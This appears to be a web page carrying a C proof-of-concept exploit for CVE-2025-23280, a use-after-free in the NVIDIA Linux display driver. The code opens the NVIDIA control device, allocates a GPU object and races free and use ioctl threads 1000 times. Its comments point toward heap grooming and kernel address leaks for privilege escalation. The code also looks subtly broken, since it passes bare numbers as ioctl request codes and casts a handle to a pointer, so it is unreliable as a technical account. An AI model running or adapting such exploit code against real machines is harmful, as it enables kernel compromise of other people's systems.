CVE-2025-23280 NVIDIA Linux显示驱动释放后使用漏洞

/* * CVE-2025-23280 - NVIDIA Linux Display Driver Use-After-Free PoC * This is a conceptual proof-of-concept demonstrating the vulnerability pattern. * The actual exploitation requires specific driver version and kernel configuration. * * Vulnerability: Use-After-Free in NVIDIA Display Driver for Linux * CVSS: 7.0 (HIGH) - AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <pthread.h> #include <errno.h> // NVIDIA device paths #define NVIDIA_DEVICE "/dev/nvidia0" #define NVIDIA_CTL_DEVICE "/dev/nvidiactl" #define NVIDIA_UVM_DEVICE "/dev/nvidia-uvm" // Common NVIDIA IOCTL command patterns (vendor-specific) // Actual IOCTL numbers vary by driver version #define NV_ESC_RM_ALLOC_MEMORY 0x2C #define NV_ESC_RM_FREE_MEMORY 0x2D #define NV_ESC_RM_MAP_MEMORY 0x2E #define NV_ESC_RM_UNMAP_MEMORY 0x2F #define NV_ESC_RM_ALLOC_OBJECT 0x30 #define NV_ESC_RM_FREE_OBJECT 0x31 #define NV_ESC_RM_CONTROL 0x32 // IOCTL wrapper structure for NVIDIA driver communication typedef struct { unsigned int cmd; unsigned int size; void *ptr; } nv_ioctl_args_t; // Structure to trigger UAF via race condition typedef struct { int fd; unsigned long handle; void *mapped_ptr; size_t size; } gpu_allocation_t; // Thread function to trigger free of GPU object static void *trigger_free_thread(void *arg) { gpu_allocation_t *alloc = (gpu_allocation_t *)arg; nv_ioctl_args_t free_args; free_args.cmd = NV_ESC_RM_FREE_OBJECT; free_args.size = sizeof(unsigned long); free_args.ptr = (void *)&alloc->handle; // Free the GPU object while another thread may still reference it ioctl(alloc->fd, free_args.cmd, &free_args); return NULL; } // Thread function to trigger use-after-free access static void *trigger_use_thread(void *arg) { gpu_allocation_t *alloc = (gpu_allocation_t *)arg; nv_ioctl_args_t use_args; // Attempt to use the potentially freed object use_args.cmd = NV_ESC_RM_CONTROL; use_args.size = 0x100; use_args.ptr = (void *)alloc->handle; // This access may hit freed memory -> UAF ioctl(alloc->fd, use_args.cmd, &use_args); return NULL; } int main(int argc, char *argv[]) { int fd; gpu_allocation_t alloc; pthread_t t1, t2; printf("[*] CVE-2025-23280 PoC - NVIDIA Display Driver UAF\n"); printf("[*] Opening NVIDIA device...\n"); // Open the NVIDIA control device fd = open(NVIDIA_CTL_DEVICE, O_RDWR); if (fd < 0) { perror("[-] Failed to open NVIDIA device (driver not loaded?)"); return 1; } alloc.fd = fd; alloc.handle = 0; alloc.mapped_ptr = NULL; alloc.size = 0x1000; printf("[*] Allocating GPU memory object...\n"); nv_ioctl_args_t alloc_args; alloc_args.cmd = NV_ESC_RM_ALLOC_MEMORY; alloc_args.size = sizeof(unsigned long); alloc_args.ptr = (void *)&alloc.handle; if (ioctl(fd, alloc_args.cmd, &alloc_args) < 0) { perror("[-] Failed to allocate GPU memory"); close(fd); return 1; } printf("[+] GPU object allocated, handle: 0x%lx\n", alloc.handle); printf("[*] Triggering race condition to cause UAF...\n"); // Create race condition: one thread frees, another uses for (int i = 0; i < 1000; i++) { pthread_create(&t1, NULL, trigger_free_thread, &alloc); pthread_create(&t2, NULL, trigger_use_thread, &alloc); pthread_join(t1, NULL); pthread_join(t2, NULL); } printf("[*] PoC execution completed.\n"); printf("[*] Check kernel logs (dmesg) for UAF detection.\n"); close(fd); return 0; } /* * Compilation: * gcc -o poc_cve_2025_23280 poc.c -lpthread * * Note: This PoC demonstrates the conceptual exploitation pattern. * Actual exploitation requires: * 1. Specific vulnerable NVIDIA driver version * 2. Kernel with appropriate GPU support * 3. Heap spray/grooming for reliable exploitation * 4. Kernel address leak for privilege escalation * * For security research purposes only. */